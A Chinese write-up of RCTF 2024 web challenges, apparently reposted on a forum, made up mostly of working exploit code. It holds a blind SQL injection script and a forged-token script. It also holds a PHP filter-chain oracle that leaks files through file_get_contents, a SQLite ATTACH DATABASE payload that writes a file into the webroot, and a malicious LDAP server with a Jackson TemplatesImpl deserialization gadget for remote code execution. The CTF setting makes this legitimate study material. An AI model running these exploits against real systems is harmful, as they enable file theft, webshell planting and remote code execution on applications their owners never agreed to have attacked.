RCTF 2024 WEB wp
媒介
赛后复现,proxy发现自己真是个呆b...
what_is_love
首先拿key1,sql语句处有注入,可以盲注拿key1的值- import requests
- import string
- strings = string.digits + string.ascii_uppercase + "_"
- url="http://1.94.13.174:10088/key1"
- flag='RCTF{'
- payload="1' || BINARY love_key REGEXP '{}' #"
- for i in range(100000):
- for j in strings:
- data={
- 'key1':payload.format(flag+j)
- }
- req=requests.post(url,data=data)
- if "success" in req.text:
- flag=flag+j
- print(flag)
- break
复制代码 然后key2,本地没有测试saltedSecret 的值,到很晚才解出来..,阅读源码可以知道saltedSecret 由secret 和love_time 拼接而成,love_time 的值我们可以控制,我们设置成字符串,颠末parseInt处剖析酿成NaN,不管secret 是什么,跟NaN 拼接后也会是NaN,所以saltedSecret 的值就是NaN ,既然salt值可控了,加密方式是sha256,那我们就可以随意构造token了,写个全自动的脚本- import requests
- import base64
- import hashlib
- import json
- url = "http://1.94.13.174:10088/key2"
- data = {
- "username": "lover",
- "love_time": "a"
- }
- response = requests.post(url, data=data)
- token = response.text.split("token:")[1].strip()
- print(f"Obtained token: {token}")
- userinfo = {
- "username": "lover",
- "love_time": None,
- "have_lovers": True
- }
- data_hex = base64.b64encode(json.dumps(userinfo).encode()).decode()
- signature = hashlib.sha256(f'{json.dumps(userinfo)}:NaN'.encode()).hexdigest()
- evil_token = f"{data_hex}.{signature}"
- print(f"Constructed evil token: {evil_token}")
- url = "http://1.94.13.174:10088/check"
- data = {
- "love_token": evil_token
- }
- response = requests.post(url, data=data)
- print(f"Response from /check: {response.text}")
- #_AND_GIVE_A_10000_YEAR_COMMITMENT_FOR_LOVE}
复制代码 color
Js逆向拿到密钥和iv,测试点击逻辑,可以发现pos的值由rangeNum控制,我们控制rangeNum的值不变,拿返回的json中的data值作为pos的值发送就可以刷分了- import requests
- url = "http://124.71.164.28:10088/final/game.php"
- r = requests.Session()
- # 获取cookie
- r.get(url)
- # 刷分
- data1 = {
- 'action': '3wrg4Ich1RsKFUUPmU0vlw==',
- 'rangeNum': 'xu9TJ5ohTpq8tlEr1Xr/dA=='
- }
- for i in range(500):
- data2 = {
- 'action': 's03/Zr+K7nTxLc2aiHJQcg==',
- 'pos': r.post(url, data1).json()['data']
- }
- print(r.post(url, data2).json())
- # game over
- data3 = {
- 'action': 'IMYZakV42qGIPRWdg/WfFg=='
- }
- print(r.post(url, data3).json())
- # {'code': 200, 'data': 'CD6Xpy8frmdyBVi4AjanGQ==', 'secret': 'kaZqPAlSbO0yDwz3yeFPJm7P1y8dOPX5rrvFMr70WunhBAPw2i+jUIrc/iAO7uIpZP8rlkDtpBfBwAygY6AUhw=='}
复制代码 secret解密一下,拿到源码,阅读源码,毛病点在这

file_get_contents,我们可以打侧信道盲注- import requests
- import sys
- from base64 import b64decode
- """
- THE GRAND IDEA:
- We can use PHP memory limit as an error oracle. Repeatedly applying the convert.iconv.L1.UCS-4LE
- filter will blow up the string length by 4x every time it is used, which will quickly cause
- 500 error if and only if the string is non empty. So we now have an oracle that tells us if
- the string is empty.
- THE GRAND IDEA 2:
- The dechunk filter is interesting.
- https://github.com/php/php-src/blob/01b3fc03c30c6cb85038250bb5640be3a09c6a32/ext/standard/filters.c#L1724
- It looks like it was implemented for something http related, but for our purposes, the interesting
- behavior is that if the string contains no newlines, it will wipe the entire string if and only if
- the string starts with A-Fa-f0-9, otherwise it will leave it untouched. This works perfect with our
- above oracle! In fact we can verify that since the flag starts with D that the filter chain
- dechunk|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|[...]|convert.iconv.L1.UCS-4LE
- does not cause a 500 error.
- THE REST:
- So now we can verify if the first character is in A-Fa-f0-9. The rest of the challenge is a descent
- into madness trying to figure out ways to:
- - somehow get other characters not at the start of the flag file to the front
- - detect more precisely which character is at the front
- """
- def join(*x):
- return '|'.join(x)
- def err(s):
- print(s)
- raise ValueError
- def req(s):
- data = f'php://filter/{s}/resource=/flag.txt'
- datas = {
- 'action': 'xEt6B2i+YJdcrJ/RG3Ie4Q=='
- }
- files = {
- 'image': ('web.png', data)
- }
- return "Allowed memory size" in requests.post(f'http://124.71.164.28:10088/final/game.php', data=datas, files=files).text
- """
- Step 1:
- The second step of our exploit only works under two conditions:
- - String only contains a-zA-Z0-9
- - String ends with two equals signs
- base64-encoding the flag file twice takes care of the first condition.
- We don't know the length of the flag file, so we can't be sure that it will end with two equals
- signs.
- Repeated application of the convert.quoted-printable-encode will only consume additional
- memory if the base64 ends with equals signs, so that's what we are going to use as an oracle here.
- If the double-base64 does not end with two equals signs, we will add junk data to the start of the
- flag with convert.iconv..CSISO2022KR until it does.
- """
- blow_up_enc = join(*['convert.quoted-printable-encode']*1000)
- blow_up_utf32 = 'convert.iconv.L1.UCS-4LE'
- blow_up_inf = join(*[blow_up_utf32]*50)
- header = 'convert.base64-encode|convert.base64-encode'
- # Start get baseline blowup
- print('Calculating blowup')
- baseline_blowup = 0
- for n in range(100):
- payload = join(*[blow_up_utf32]*n)
- if req(f'{header}|{payload}'):
- baseline_blowup = n
- break
- else:
- err('something wrong')
- print(f'baseline blowup is {baseline_blowup}')
- trailer = join(*[blow_up_utf32]*(baseline_blowup-1))
- assert req(f'{header}|{trailer}') == False
- print('detecting equals')
- j = [
- req(f'convert.base64-encode|convert.base64-encode|{blow_up_enc}|{trailer}'),
- req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode{blow_up_enc}|{trailer}'),
- req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|convert.base64-encode|{blow_up_enc}|{trailer}')
- ]
- print(j)
- if sum(j) != 2:
- err('something wrong')
- if j[0] == False:
- header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode'
- elif j[1] == False:
- header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KRconvert.base64-encode'
- elif j[2] == False:
- header = f'convert.base64-encode|convert.base64-encode'
- else:
- err('something wrong')
- print(f'j: {j}')
- print(f'header: {header}')
- """
- Step two:
- Now we have something of the form
- [a-zA-Z0-9 things]==
- Here the pain begins. For a long time I was trying to find something that would allow me to strip
- successive characters from the start of the string to access every character. Maybe something like
- that exists but I couldn't find it. However, if you play around with filter combinations you notice
- there are filters that *swap* characters:
- convert.iconv.CSUNICODE.UCS-2BE, which I call r2, flips every pair of characters in a string:
- abcdefgh -> badcfehg
- convert.iconv.UCS-4LE.10646-1:1993, which I call r4, reverses every chunk of four characters:
- abcdefgh -> dcbahgfe
- This allows us to access the first four characters of the string. Can we do better? It turns out
- YES, we can! Turns out that convert.iconv.CSUNICODE.CSUNICODE appends <0xff><0xfe> to the start of
- the string:
- abcdefgh -> <0xff><0xfe>abcdefgh
- The idea being that if we now use the r4 gadget, we get something like:
- ba<0xfe><0xff>fedc
- And then if we apply a convert.base64-decode|convert.base64-encode, it removes the invalid
- <0xfe><0xff> to get:
- bafedc
- And then apply the r4 again, we have swapped the f and e to the front, which were the 5th and 6th
- characters of the string. There's only one problem: our r4 gadget requires that the string length
- is a multiple of 4. The original base64 string will be a multiple of four by definition, so when
- we apply convert.iconv.CSUNICODE.CSUNICODE it will be two more than a multiple of four, which is no
- good for our r4 gadget. This is where the double equals we required in step 1 comes in! Because it
- turns out, if we apply the filter
- convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7
- It will turn the == into:
- +---AD0-3D3D+---AD0-3D3D
- And this is magic, because this corrects such that when we apply the
- convert.iconv.CSUNICODE.CSUNICODE filter the resuting string is exactly a multiple of four!
- Let's recap. We have a string like:
- abcdefghij==
- Apply the convert.quoted-printable-encode + convert.iconv.L1.utf7:
- abcdefghij+---AD0-3D3D+---AD0-3D3D
- Apply convert.iconv.CSUNICODE.CSUNICODE:
- <0xff><0xfe>abcdefghij+---AD0-3D3D+---AD0-3D3D
- Apply r4 gadget:
- ba<0xfe><0xff>fedcjihg---+-0DAD3D3---+-0DAD3D3
- Apply base64-decode | base64-encode, so the '-' and high bytes will disappear:
- bafedcjihg+0DAD3D3+0DAD3Dw==
- Then apply r4 once more:
- efabijcd0+gh3DAD0+3D3DAD==wD
- And here's the cute part: not only have we now accessed the 5th and 6th chars of the string, but
- the string still has two equals signs in it, so we can reapply the technique as many times as we
- want, to access all the characters in the string ;)
- """
- flip = "convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode"
- r2 = "convert.iconv.CSUNICODE.UCS-2BE"
- r4 = "convert.iconv.UCS-4LE.10646-1:1993"
- def get_nth(n):
- global flip, r2, r4
- o = []
- chunk = n // 2
- if chunk % 2 == 1: o.append(r4)
- o.extend([flip, r4] * (chunk // 2))
- if (n % 2 == 1) ^ (chunk % 2 == 1): o.append(r2)
- return join(*o)
- """
- Step 3:
- This is the longest but actually easiest part. We can use dechunk oracle to figure out if the first
- char is 0-9A-Fa-f. So it's just a matter of finding filters which translate to or from those
- chars. rot13 and string lower are helpful. There are probably a million ways to do this bit but
- I just bruteforced every combination of iconv filters to find these.
- Numbers are a bit trickier because iconv doesn't tend to touch them.
- In the CTF you coud porbably just guess from there once you have the letters. But if you actually
- want a full leak you can base64 encode a third time and use the first two letters of the resulting
- string to figure out which number it is.
- """
- rot1 = 'convert.iconv.437.CP930'
- be = 'convert.quoted-printable-encode|convert.iconv..UTF7|convert.base64-decode|convert.base64-encode'
- o = ''
- def find_letter(prefix):
- if not req(f'{prefix}|dechunk|{blow_up_inf}'):
- # a-f A-F 0-9
- if not req(f'{prefix}|{rot1}|dechunk|{blow_up_inf}'):
- # a-e
- for n in range(5):
- if req(f'{prefix}|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
- return 'edcba'[n]
- break
- else:
- err('something wrong')
- elif not req(f'{prefix}|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
- # A-E
- for n in range(5):
- if req(f'{prefix}|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
- return 'EDCBA'[n]
- break
- else:
- err('something wrong')
- elif not req(f'{prefix}|convert.iconv.CSISO5427CYRILLIC.855|dechunk|{blow_up_inf}'):
- return '*'
- elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
- # f
- return 'f'
- elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
- # F
- return 'F'
- else:
- err('something wrong')
- elif not req(f'{prefix}|string.rot13|dechunk|{blow_up_inf}'):
- # n-s N-S
- if not req(f'{prefix}|string.rot13|{rot1}|dechunk|{blow_up_inf}'):
- # n-r
- for n in range(5):
- if req(f'{prefix}|string.rot13|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
- return 'rqpon'[n]
- break
- else:
- err('something wrong')
- elif not req(f'{prefix}|string.rot13|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
- # N-R
- for n in range(5):
- if req(f'{prefix}|string.rot13|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
- return 'RQPON'[n]
- break
- else:
- err('something wrong')
- elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
- # s
- return 's'
- elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
- # S
- return 'S'
- else:
- err('something wrong')
- elif not req(f'{prefix}|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
- # i j k
- if req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
- return 'k'
- elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
- return 'j'
- elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
- return 'i'
- else:
- err('something wrong')
- elif not req(f'{prefix}|string.tolower|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
- # I J K
- if req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
- return 'K'
- elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
- return 'J'
- elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
- return 'I'
- else:
- err('something wrong')
- elif not req(f'{prefix}|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
- # v w x
- if req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
- return 'x'
- elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
- return 'w'
- elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
- return 'v'
- else:
- err('something wrong')
- elif not req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
- # V W X
- if req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
- return 'X'
- elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
- return 'W'
- elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
- return 'V'
- else:
- err('something wrong')
- elif not req(f'{prefix}|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
- # Z
- return 'Z'
- elif not req(f'{prefix}|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
- # z
- return 'z'
- elif not req(f'{prefix}|string.rot13|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
- # M
- return 'M'
- elif not req(f'{prefix}|string.rot13|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
- # m
- return 'm'
- elif not req(f'{prefix}|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
- # y
- return 'y'
- elif not req(f'{prefix}|string.tolower|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
- # Y
- return 'Y'
- elif not req(f'{prefix}|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
- # l
- return 'l'
- elif not req(f'{prefix}|string.tolower|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
- # L
- return 'L'
- elif not req(f'{prefix}|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
- # h
- return 'h'
- elif not req(f'{prefix}|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
- # H
- return 'H'
- elif not req(f'{prefix}|string.rot13|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
- # u
- return 'u'
- elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
- # U
- return 'U'
- elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
- # g
- return 'g'
- elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
- # G
- return 'G'
- elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
- # t
- return 't'
- elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
- # T
- return 'T'
- else:
- err('something wrong')
- print()
- for i in range(100):
- prefix = f'{header}|{get_nth(i)}'
- letter = find_letter(prefix)
- # it's a number! check base64
- if letter == '*':
- prefix = f'{header}|{get_nth(i)}|convert.base64-encode'
- s = find_letter(prefix)
- if s == 'M':
- # 0 - 3
- prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
- ss = find_letter(prefix)
- if ss in 'CDEFGH':
- letter = '0'
- elif ss in 'STUVWX':
- letter = '1'
- elif ss in 'ijklmn':
- letter = '2'
- elif ss in 'yz*':
- letter = '3'
- else:
- err(f'bad num ({ss})')
- elif s == 'N':
- # 4 - 7
- prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
- ss = find_letter(prefix)
- if ss in 'CDEFGH':
- letter = '4'
- elif ss in 'STUVWX':
- letter = '5'
- elif ss in 'ijklmn':
- letter = '6'
- elif ss in 'yz*':
- letter = '7'
- else:
- err(f'bad num ({ss})')
- elif s == 'O':
- # 8 - 9
- prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
- ss = find_letter(prefix)
- if ss in 'CDEFGH':
- letter = '8'
- elif ss in 'STUVWX':
- letter = '9'
- else:
- err(f'bad num ({ss})')
- else:
- err('wtf')
- print(end=letter)
- o += letter
- sys.stdout.flush()
- """
- We are done!! :)
- """
- print()
- d = b64decode(o.encode() + b'=' * 4)
- # remove KR padding
- d = d.replace(b'',b'')
- print(b64decode(d))
复制代码 删掉前面的几个无关字符,base64解码拿到flag
proxy
实在挺简单一题,就是有点抽风就想不到...,阅读源码,很明显是个sqlite注入,curl_exec 是一点用也没有的,控制$BE就可以开始注入了,但是源码中写了个rollback,也就是有一条sql语句执行没乐成就回滚了,于是开始了漫长的测试,测到最后也没同时满足全部sql语句,终极解法:手动commit一次...
payload:?BE=');ATTACH DATABASE '/var/www/html/f12.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES (''); commit;--+
读取flag.php拿到flag
OpenYourEyesToSeeTheWorld
睁眼看世界,睁眼了但没看到世界,审了半天,入口都没找到,害,阅读源码,很明显是个jndi注入,找到入口基本就秒了,一直追踪search到这

进入p_resolveIntermediate

跟进c_resolveIntermediate_nns,上下两个都一样

进入c_lookup,里面就是熟悉的lookup流程了,就不多说这个,怎么才能进到这个c_lookup呢,得满足两个条件,Head和Tail不为空就行了,这两个从searchBase 获取的,对黑名单的绕过可以使用unicode编码,searchBase 在这里进行了处理,可以控制Head和Tail的值

进入这个CompositeName,实在就是对/ 进行了分割,写入了一个impl中,具体流程请自行研究,入口找到了就可以打了,既然是spring,直接就能打jackson的templateImpl了,这里打高版本的ldap- package com.ctf;
- import com.sun.net.httpserver.HttpExchange;
- import com.sun.net.httpserver.HttpHandler;
- import com.sun.net.httpserver.HttpServer;
- import com.unboundid.ldap.listener.InMemoryDirectoryServer;
- import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
- import com.unboundid.ldap.listener.InMemoryListenerConfig;
- import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
- import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
- import com.unboundid.ldap.sdk.Entry;
- import com.unboundid.ldap.sdk.LDAPException;
- import com.unboundid.ldap.sdk.LDAPResult;
- import com.unboundid.ldap.sdk.ResultCode;
- import com.unboundid.util.Base64;
- import javax.net.ServerSocketFactory;
- import javax.net.SocketFactory;
- import javax.net.ssl.SSLSocketFactory;
- import java.io.*;
- import java.net.InetAddress;
- import java.net.InetSocketAddress;
- import java.net.MalformedURLException;
- import java.net.URL;
- import java.text.ParseException;
- public class LDAPServer2 {
- private static final String LDAP_BASE = "dc=example,dc=com";
- public static void lanuchLDAPServer(Integer ldap_port, String http_server, Integer http_port) throws Exception {
- try {
- InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
- config.setListenerConfigs(new InMemoryListenerConfig(
- "listen",
- InetAddress.getByName("0.0.0.0"),
- ldap_port,
- ServerSocketFactory.getDefault(),
- SocketFactory.getDefault(),
- (SSLSocketFactory) SSLSocketFactory.getDefault()));
- config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://"+http_server+":"+http_port+"/#Exploit")));
- InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
- System.out.println("Listening on 0.0.0.0:" + ldap_port);
- ds.startListening();
- }
- catch ( Exception e ) {
- e.printStackTrace();
- }
- }
- public static class HttpFileHandler implements HttpHandler {
- public HttpFileHandler() {
- }
- public void handle(HttpExchange httpExchange) {
- try {
- System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
- String uri = httpExchange.getRequestURI().getPath();
- InputStream inputStream = HttpFileHandler.class.getResourceAsStream(uri);
- ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
- if (inputStream == null){
- System.out.println("Not Found");
- httpExchange.close();
- return;
- }else{
- while(inputStream.available() > 0) {
- byteArrayOutputStream.write(inputStream.read());
- }
- byte[] bytes = byteArrayOutputStream.toByteArray();
- httpExchange.sendResponseHeaders(200, (long)bytes.length);
- httpExchange.getResponseBody().write(bytes);
- httpExchange.close();
- }
- } catch (Exception var5) {
- var5.printStackTrace();
- }
- }
- }
- private static class OperationInterceptor extends InMemoryOperationInterceptor {
- private URL codebase;
- public OperationInterceptor ( URL cb ) {
- this.codebase = cb;
- }
- @Override
- public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
- String base = result.getRequest().getBaseDN();
- Entry e = new Entry(base);
- try {
- sendResult(result, base, e);
- }
- catch ( Exception e1 ) {
- e1.printStackTrace();
- }
- }
- protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, IOException {
- URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
- System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
- e.addAttribute("javaClassName", "foo");
- String cbstring = this.codebase.toString();
- int refPos = cbstring.indexOf('#');
- if ( refPos > 0 ) {
- cbstring = cbstring.substring(0, refPos);
- }
- /** Payload1: Return Reference Factory **/
- // e.addAttribute("javaCodeBase", cbstring);
- // e.addAttribute("objectClass", "javaNamingReference");
- // e.addAttribute("javaFactory", this.codebase.getRef());
- /** Payload1 end **/
- /** Payload2: Return Serialized Gadget **/
- try {
- // java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64
- e.addAttribute("javaSerializedData",Base64.decode(new BufferedReader(new InputStreamReader(new FileInputStream(new File("D:\\1.txt")))).readLine()));
- } catch (ParseException e1) {
- e1.printStackTrace();
- }
- /** Payload2 end **/
- result.sendSearchEntry(e);
- result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
- }
- }
- public static void lanuchCodebaseURLServer(String ip, int port) throws Exception {
- System.out.println("Starting HTTP server");
- HttpServer httpServer = HttpServer.create(new InetSocketAddress(ip, port), 0);
- httpServer.createContext("/", new HttpFileHandler());
- httpServer.setExecutor(null);
- httpServer.start();
- }
- public static void main(String[] args) throws Exception {
- String[] args1 = new String[]{"127.0.0.1","8888", "1389"};
- args = args1;
- System.out.println("HttpServerAddress: "+args[0]);
- System.out.println("HttpServerPort: "+args[1]);
- System.out.println("LDAPServerPort: "+args[2]);
- String http_server_ip = args[0];
- int ldap_port = Integer.valueOf(args[2]);
- int http_server_port = Integer.valueOf(args[1]);
- lanuchCodebaseURLServer(http_server_ip, http_server_port);
- lanuchLDAPServer(ldap_port, http_server_ip, http_server_port);
- }
- }
复制代码- package com.example.demo.controller;
- import com.fasterxml.jackson.databind.node.POJONode;
- import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
- import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
- import javax.management.BadAttributeValueExpException;
- import javax.xml.transform.Templates;
- import java.io.*;
- import java.lang.reflect.Field;
- import java.nio.file.Files;
- import java.nio.file.Paths;
- import java.util.Base64;
- public class Test {
- public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
- Field f = obj.getClass().getDeclaredField(fieldName);
- f.setAccessible(true);
- f.set(obj, value);
- }
- public static void main(String[] args) throws Exception {
- byte[][] bytes = new byte[][]{Files.readAllBytes(Paths.get("E:\\demo\\target\\classes\\com\\example\\demo\\calc.class"))};
- Templates templatesImpl = new TemplatesImpl();
- setFieldValue(templatesImpl, "_bytecodes", bytes);
- setFieldValue(templatesImpl, "_name", "a");
- setFieldValue(templatesImpl, "_tfactory", null);
- POJONode pojoNode = new POJONode(templatesImpl);
- BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
- Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
- val.setAccessible(true);
- val.set(exp,pojoNode);
- FileOutputStream fos = new FileOutputStream("D:\\1.txt");
- fos.write(serial(exp).getBytes());
- Base64.getDecoder().decode(serial(exp));
- File f = new File("D:\\1.txt");
- BufferedReader bfr = new BufferedReader(new InputStreamReader(new FileInputStream(f)));
- System.out.println(bfr.readLine());
- // deserial(serial(exp));
- }
- public static String serial(Object o) throws IOException, NoSuchFieldException {
- ByteArrayOutputStream baos = new ByteArrayOutputStream();
- ObjectOutputStream oos = new ObjectOutputStream(baos);
- oos.writeObject(o);
- oos.close();
- String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
- return base64String;
- }
- public static void deserial(String data) throws Exception {
- byte[] base64decodedBytes = Base64.getDecoder().decode(data);
- ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
- ObjectInputStream ois = new ObjectInputStream(bais);
- ois.readObject();
- ois.close();
- }
- }
复制代码 nosandbox
官方wp还没出,说实话不知道/flag的密钥有啥用,看SAINTSEC的师傅是直接打的cc。所以这题先空着,之后补充(
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |